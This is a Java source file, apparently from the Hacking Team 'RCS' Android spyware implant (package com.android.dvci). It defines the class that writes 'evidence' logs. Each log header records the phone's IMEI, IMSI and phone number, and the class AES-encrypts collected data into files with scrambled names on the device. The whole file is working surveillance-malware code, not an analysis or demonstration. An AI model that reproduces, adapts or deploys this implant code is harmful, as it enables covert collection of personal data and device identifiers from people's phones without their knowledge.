/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : Evidence.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.evidence; import java.util.ArrayList; import java.util.Date; import com.android.dvci.Device; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.Configuration; import com.android.dvci.crypto.Encryption; import com.android.dvci.crypto.Keys; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; /** * The Class Evidence (formerly known as Log.) */ final class Evidence { /** The Constant EVIDENCE_VERSION_01. */ private static final int E_VERSION_01 = 2008121901; /** The Constant TAG. */ private static final String TAG = "Evidence"; //$NON-NLS-1$ /** The first space. */ boolean firstSpace = true; /** The enough space. */ boolean enoughSpace = true; /** The timestamp. */ Date timestamp; /** The log name. */ String logName; /** The evidence type. */ int evidenceType; /** The file name. */ String fileName; /** The fconn. */ AutoFile fconn = null; // DataOutputStream os = null; /** The encryption. */ Encryption encryption; /** The evidence collector. */ EvidenceCollector evidenceCollector; /** The evidence description. */ EvidenceDescription evidenceDescription; /** The device. */ Device device; /** The type evidence id. */ int typeEvidenceId; /** The progressive. */ int progressive; /** The aes key. */ private byte[] aesKey; /** The enc data. */ private byte[] encData; private byte[] lastBlock; /** * Instantiates a new evidence. */ private Evidence() { evidenceCollector = EvidenceCollector.self(); device = Device.self(); progressive = -1; timestamp = new Date(); } /** * Instantiates a new log. * * @param typeEvidenceId * the type evidence id * @param aesKey * the aes key */ public Evidence(final int typeEvidenceId, final byte[] aesKey) { this(); if (Cfg.DEBUG) { Check.requires(aesKey != null, "aesKey null"); //$NON-NLS-1$ } // agent = agent_; this.typeEvidenceId = typeEvidenceId; this.aesKey = aesKey; encryption = new Encryption(aesKey); lastBlock = new byte[encryption.getBlockSize()]; // if(Cfg.DEBUG) Check.ensures(agent != null, "createLog: agent null"); //$NON-NLS-1$ if (Cfg.DEBUG) { Check.ensures(encryption != null, "encryption null"); //$NON-NLS-1$ } } /** * Instantiates a new evidence. * * @param typeEvidenceId * the type evidence id */ public Evidence(final int typeEvidenceId) { this(typeEvidenceId, Keys.self().getAesKey()); } /** * Enough space. * * @return true, if successful */ private boolean enoughSpace() { long free = 0; free = Path.freeSpace(); if (free < Configuration.MIN_AVAILABLE_SIZE) { if (firstSpace) { firstSpace = false; if (Cfg.DEBUG) { Check.log(TAG + " FATAL: not enough space. Free : " + free);//$NON-NLS-1$ } } return false; } else { return true; } } /** * Chiude il file di log. Torna TRUE se il file e' stato chiuso con * successo, FALSE altrimenti. Se bRemove e' impostato a TRUE il file viene * anche cancellato da disco e rimosso dalla coda. Questa funzione NON va * chiamata per i markup perche' la WriteMarkup() e la ReadMarkup() chiudono * automaticamente l'handle. * * @return true, if successful */ public synchronized boolean close() { boolean ret = false; if (fconn != null && fconn.exists()) { if (Cfg.DEBUG) { // Check.log(TAG + " (close): " + // EvidenceCollector.decryptName(fconn.getName())); } ret = fconn.dropExtension(EvidenceCollector.LOG_TMP); if (!ret) { if (Cfg.DEBUG) { Check.log(TAG + " ERROR (close): cannot dropExtension"); } } } else { if (Cfg.DEBUG) { Check.log(TAG + " (close): fconn == null || !fconn.exists()"); } } if (Cfg.DEMO) { // Beep.bip(); } encData = null; fconn = null; return ret; } /** * Crea un'evidenza con tipo standard. * * @param additionalData * the additional data * @return true, if successful */ public synchronized boolean createEvidence(final byte[] additionalData) { return createEvidence(additionalData, typeEvidenceId); } /** * Questa funzione crea un file di log e lascia l'handle aperto. Il file * viene creato con un nome casuale, la chiamata scrive l'header nel file e * poi i dati addizionali se ce ne sono. LogType e' il tipo di log che * stiamo scrivendo, pAdditionalData e' un puntatore agli eventuali * additional data e uAdditionalLen e la lunghezza dei dati addizionali da * scrivere nell'header. Il parametro facoltativo bStoreToMMC se settato a * TRUE fa in modo che il log venga salvato nella prima MMC disponibile, se * non c'e' la chiama fallisce. La funzione torna TRUE se va a buon fine, * FALSE altrimenti. * * @param additionalData * the additional data * @param evidenceType * the log type * @return true, if successful */ public synchronized boolean createEvidence(final byte[] additionalData, final int evidenceType) { this.typeEvidenceId = evidenceType; if (Cfg.DEBUG) { Check.requires(fconn == null, "createLog: not previously closed"); //$NON-NLS-1$ } timestamp = new Date(); int additionalLen = 0; if (additionalData != null) { additionalLen = additionalData.length; } enoughSpace = enoughSpace(); if (!enoughSpace) { if (Cfg.DEBUG) { Check.log(TAG + " createEvidence, no space");//$NON-NLS-1$ } return false; } final Name name = evidenceCollector.makeNewName(this, EvidenceType.getMemo(evidenceType)); progressive = name.progressive; final String dir = name.basePath + name.blockDir + "/"; //$NON-NLS-1$ final boolean ret = Path.createDirectory(dir); if (!ret) { if (Cfg.DEBUG) { Check.log(TAG + " Error: Dir not created: " + dir);//$NON-NLS-1$ } return false; } fileName = dir + name.encName + EvidenceCollector.LOG_TMP; if (Cfg.DEBUG) { Check.asserts(fileName != null, "null fileName"); //$NON-NLS-1$ } // if(Cfg.DEBUG) // Check.asserts(!fileName.endsWith(EvidenceCollector.LOG_TMP), //$NON-NLS-1$ // "file not scrambled"); // if(Cfg.DEBUG) Check.asserts(!fileName.endsWith("MOB"), //$NON-NLS-1$ // "file not scrambled"); try { fconn = new AutoFile(fileName); if (fconn.exists()) { close(); if (Cfg.DEBUG) { Check.log(TAG + " FATAL: It should not exist:" + fileName);//$NON-NLS-1$ } return false; } if (Cfg.DEBUG) { //Check.log(TAG + " Created " + evidenceType + " : " + name.fileName);//$NON-NLS-1$ //$NON-NLS-2$ } final byte[] plainBuffer = makeDescription(additionalData, evidenceType); if (Cfg.DEBUG) { Check.asserts(plainBuffer.length >= 32 + additionalLen, "Short plainBuffer"); //$NON-NLS-1$ } final byte[] encBuffer = encryption.encryptData(plainBuffer); if (Cfg.DEBUG) { Check.asserts(encBuffer.length == encryption.getNextMultiple(plainBuffer.length), "Wrong encBuffer"); //$NON-NLS-1$ } // scriviamo la dimensione dell'header paddato fconn.write(ByteArray.intToByteArray(plainBuffer.length)); // scrittura dell'header cifrato fconn.append(encBuffer); if (Cfg.DEBUG) { Check.asserts(fconn.getSize() == encBuffer.length + 4, "Wrong filesize"); //$NON-NLS-1$ // if(AutoConfig.DEBUG) Check.log( TAG ;//$NON-NLS-1$ // " additionalData.length: " // + // plainBuffer.length); // if(AutoConfig.DEBUG) Check.log( TAG + " encBuffer.length: " ;//$NON-NLS-1$ // encBuffer.length); } } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " Error: file: " + name.fileName + " ex:" + ex);//$NON-NLS-1$ //$NON-NLS-2$ } return false; } return true; } // pubblico solo per fare i test /** * Make description. * * @param additionalData * the additional data * @param evidenceType * the log type * @return the byte[] */ public byte[] makeDescription(final byte[] additionalData, final int evidenceType) { if (timestamp == null) { timestamp = new Date(); } int additionalLen = 0; if (additionalData != null) { additionalLen = additionalData.length; } final DateTime datetime = new DateTime(); if (Cfg.DEBUG) { final DateTime dt = new DateTime(datetime.getDate()); boolean hitest = dt.hiDateTime() == datetime.hiDateTime(); boolean lowtest = dt.lowDateTime() == datetime.lowDateTime(); //Check.log(dt + " ticks: " + dt.getTicks()); Check.asserts(hitest, "hi test"); Check.asserts(lowtest, "low test"); } evidenceDescription = new EvidenceDescription(); evidenceDescription.version = E_VERSION_01; evidenceDescription.logType = evidenceType; evidenceDescription.hTimeStamp = datetime.hiDateTime(); evidenceDescription.lTimeStamp = datetime.lowDateTime(); evidenceDescription.additionalData = additionalLen; evidenceDescription.deviceIdLen = WChar.getBytes(device.getImei()).length; evidenceDescription.userIdLen = WChar.getBytes(device.getImsi()).length; evidenceDescription.sourceIdLen = WChar.getBytes(device.getPhoneNumber()).length; final byte[] baseHeader = evidenceDescription.getBytes(); if (Cfg.DEBUG) { Check.asserts(baseHeader.length == evidenceDescription.length, "Wrong log len"); //$NON-NLS-1$ } final int headerLen = baseHeader.length + evidenceDescription.additionalData + evidenceDescription.deviceIdLen + evidenceDescription.userIdLen + evidenceDescription.sourceIdLen; final byte[] plainBuffer = new byte[encryption.getNextMultiple(headerLen)]; final DataBuffer databuffer = new DataBuffer(plainBuffer, 0, plainBuffer.length); databuffer.write(baseHeader); databuffer.write(WChar.getBytes(device.getImei())); databuffer.write(WChar.getBytes(device.getImsi())); databuffer.write(WChar.getBytes(device.getPhoneNumber())); if (additionalLen > 0) { databuffer.write(additionalData); } return plainBuffer; } /** * Write evidence. * * @param data * the data * @return true, if successful */ public boolean writeEvidence(final byte[] data) { return writeEvidence(data, 0, data.length); } /** * Questa funzione prende i byte puntati da pByte, li cifra e li scrive nel * file di log creato con CreateLog(). La funzione torna TRUE se va a buon * fine, FALSE altrimenti. * * @param data * the data * @param offset * the offset * @return true, if successful */ public synchronized boolean writeEvidence(final byte[] data, final int offset, int len) { if (Cfg.DEBUG) { // Check.log(TAG + " (writeEvidence) len: " + data.length + // " offset: " + offset); } if (!enoughSpace) { return false; } if (offset >= data.length) { return false; } encData = encryption.encryptData(data, offset, len); if (fconn == null) { if (Cfg.DEBUG) { Check.log(TAG + " Error: fconn null");//$NON-NLS-1$ } return false; } try { fconn.append(ByteArray.intToByteArray(data.length - offset)); fconn.append(encData); } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: Error writing file: " + e);//$NON-NLS-1$ } return false; } return true; } /** * Write logs. * * @param bytelist * the bytelist * @return true, if successful */ public boolean writeEvidences(final ArrayList<byte[]> byteList) { int totalLen = 0; for (byte[] bs : byteList) { totalLen += bs.length; } final int offset = 0; final byte[] buffer = new byte[totalLen]; final DataBuffer databuffer = new DataBuffer(buffer, 0, totalLen); for (byte[] bs : byteList) { databuffer.write(bs); } return writeEvidence(buffer); } public boolean appendEvidence(byte[] data, int offset, int len) { if (Cfg.DEBUG) { // Check.log(TAG + " (writeEvidence) len: " + data.length + // " offset: " + offset); } if (!enoughSpace) { return false; } if (fconn == null) { if (Cfg.DEBUG) { Check.log(TAG + " Error: fconn null");//$NON-NLS-1$ } return false; } try { if (data == null) { if (Cfg.DEBUG) { Check.log(TAG + " (appendEvidence) just the size"); } fconn.append(ByteArray.intToByteArray(len)); } else { if (offset >= data.length) { return false; } if (Cfg.DEBUG) { Check.log(TAG + " (appendEvidence) append block"); } encData = encryption.appendData(data, offset, len, lastBlock); fconn.append(encData); } } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: Error writing file: " + e);//$NON-NLS-1$ } return false; } return true; } /** * Gets the enc data. * * @return the enc data */ public byte[] getEncData() { return encData; } /** * Atomic write once. * * @param additionalData * the additional data * @param logType * the log type * @param content * the content */ public void atomicWriteOnce(final byte[] additionalData, final int logType, final byte[] content) { if (createEvidence(additionalData, logType)) { writeEvidence(content); if (Cfg.DEBUG) { Check.ensures(getEncData().length % 16 == 0, "wrong len"); //$NON-NLS-1$ } close(); } } public void atomicWriteOnce(ArrayList<byte[]> byteList) { createEvidence(null); writeEvidences(byteList); close(); } public void atomicWriteOnce(byte[] content) { createEvidence(null); writeEvidence(content); close(); } @Override public String toString() { if (Cfg.DEBUG) { return "Evidence " + progressive; } else { return Integer.toString(progressive); } } }